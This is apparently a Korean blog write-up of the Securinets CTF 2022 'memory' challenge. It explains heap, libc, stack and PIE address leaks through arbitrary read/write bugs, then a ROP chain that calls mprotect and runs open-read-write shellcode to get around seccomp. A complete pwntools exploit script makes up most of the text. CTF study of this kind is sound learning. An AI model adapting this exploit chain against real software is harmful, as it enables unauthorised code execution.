[CTF write up] Securinets CTF 2022 - memory : Non buffer-overflow ROP

2022. 4. 12. 17:15CTF write up

ORW 쉘코드 실행

 

AAW, AAR 취약점이 있는 바이너리다. 문제는 모든 메모리 보호 기법이 걸려있는데다가 seccomp filter까지 있어 ORW와 mprotect syscall 밖에 사용하지 못한다. 일단 heap 영역에 메모리를 할당할때 메모리 초기화 과정이 있지 않아서 더미 값이 있는 해제된 메모리를 재사용하면 heap 주소를 유출할 수 있다.

 

이후 AAW 취약점을 통해 heap 영역에 있는 count 변수를 음수로 바꾸어주어 원하는 만큼 AAW, AAR이 가능하도록 만들 수 있다. 그 다음은 heap 영역에 있는 libc 주소를 유출하고 libc 주소를 기반으로 다시 environ 포인터 유출하고 다시 stack 값을 기반으로 code 영역 주소를 연쇄적으로 유출하면 된다.

 

PIE와 ASLR로 랜덤화된 메모리 영역의 주소를 전부 알아냈다면 힙 영역에 ORW 쉘코드를 넣어주고 environ 포인터 유출로 얻은 stack 주소를 기반으로 dwrite 함수의 RET 부분에 ROP 체인을 쌓아줄 수 있다. 이때 dwrite 함수를 여러번 실행해야 함으로 stack의 높은 주소에서 낮은 주소로 ROP chain을 삽입하여 가장 마지막에 RET를 덮어씌워지도록 해야한다. 또한 중간에 ROP_chain을 쓰는 도중 초기화되버리는 부분이 있으므로 이 부분은 pop 가젯으로 잘 피해주면 된다. 그리고 4바이트 단위로만 AAW가 가능하기 때문에 RET를 덮어씌우려는 가젯은 반드시 code 영역의 가젯이어야 한다. 기존 RET에 들어있는 값이 code 영역의 주소이기 때문에 code 영역의 가젯으로 덮어씌워야 4바이트 오버라이트만으로도 ROP 체인을 완성하는 것이 가능하다.

 

최종적으로는 ROP 공격으로 mprotect 함수를 실행해서 heap 영역에 실행 권한을 할당하고 ORW shellcode를 실행하면 seccomp filter에 걸리지 않고 flag를 읽어낼 수 있다.

 

 

from pwn import *

#context.log_level = 'debug'

p = process("./memory", env={"LD_PRELOAD":"./libc.so.6"})

def hex_addr(addr):
    return hex(addr)[2:len(hex(addr))].encode()

def command_read(m):
    p.sendlineafter(b'>>', b'1')
    p.sendlineafter(b'>>', hex_addr(m))

def command_write(a,b):
    p.sendlineafter(b'>>', b'2')
    p.sendlineafter(b'>>', hex_addr(a))
    p.sendlineafter(b'>>', hex_addr(b))
    time.sleep(0.5)

def command_allocate(size,data):
    p.sendlineafter(b'>>', b'3')
    p.sendlineafter(b'>>', str(size).encode())
    p.sendafter(b'>>', data)
    time.sleep(0.5)

def command_view():
    p.sendlineafter(b'>>', b'5')

command_allocate(0x70,b'\x0a')
command_view()

p.sendline(b'5')

lic = u64(p.recvuntil(b'\x55')[-6:].ljust(8,b'\x00'))
heap_base = lic - 0x1a0a
count_addr = heap_base+0x290+0x10
print(f'lic : {hex(lic)}')
print(f'heap_base : {hex(heap_base)}')
print(f'count_addr : {hex(count_addr)}')

command_write(count_addr,0xfffffc19)
command_read(heap_base+0x480)
lic = int(p.recvuntil(b'a0')[-12:],16)
system_addr = lic + 0x5c620
environ_addr = system_addr + 0x19d340
print(f'lic : {hex(lic)}')
print(f'system_addr : {hex(system_addr)}')
print(f'environ_addr : {hex(environ_addr)}')

command_read(environ_addr)
stack_addr = int(p.recvuntil(b'\n')[-13:],16)
dwrite_ret = stack_addr - 0x120
print(f'stack_addr : {hex(stack_addr)}')
print(f'dwrite_ret : {hex(dwrite_ret)}')

command_read(stack_addr-0x2e98)

lic = int(p.recvuntil(b'4e')[-12:],16)
pie_base = lic - 0x204e
print(f'lic : {hex(lic)}')
print(f'pie_base : {hex(pie_base)}')

context.arch = 'amd64'
ORW_shellcode = asm(shellcraft.open("flag.txt"))
ORW_shellcode += asm(shellcraft.read('rax','rsp',100))
ORW_shellcode += asm(shellcraft.write(1,'rsp',100))

command_allocate(0x100,ORW_shellcode)
shellcode_addr = heap_base + 0x2330
print(f'shellcode_addr : {hex(shellcode_addr)}')

libc_base = system_addr - 0x522c0
ROP_chain = []
ROP_chain.append(pie_base + 0x000000000000101a) # DUMMY RET
ROP_chain.append(pie_base + 0x0000000000001843) # DUMMY gadget
ROP_chain.append(heap_base + 0x2000) # DUMMY
ROP_chain.append(pie_base + 0x0000000000001843) # POP RDI; RET
ROP_chain.append(heap_base + 0x2000) # start
ROP_chain.append(libc_base + 0x000000000002604f) # POP RSI; RET
ROP_chain.append(0x2000) # size
ROP_chain.append(libc_base + 0x000000000015f7e5) # pop rax ; pop rdx ; pop rbx ; ret
ROP_chain.append(0x0) # rax
ROP_chain.append(0x7) # rdx
ROP_chain.append(0x0) # rbx
ROP_chain.append(libc_base + 0x1189d0) # mprotect
ROP_chain.append(shellcode_addr) # mprotect

for i in range(len(ROP_chain)-1,0,-1):
    #if i == 2:
    #    raw_input()
    command_write(dwrite_ret + 0x8 * i, ROP_chain[i] & 0x00000000ffffffff)
    if ROP_chain[i] > 0xffffffff:
        command_write(dwrite_ret + 0x8 * i + 4, int(hex(ROP_chain[i])[2:2+4],16))
    else:
        command_write(dwrite_ret + 0x8 * i + 4, 0)
    print(f'[ROP] chain set: {i}')

command_write(dwrite_ret, ROP_chain[0] & 0x00000000ffffffff)

p.interactive()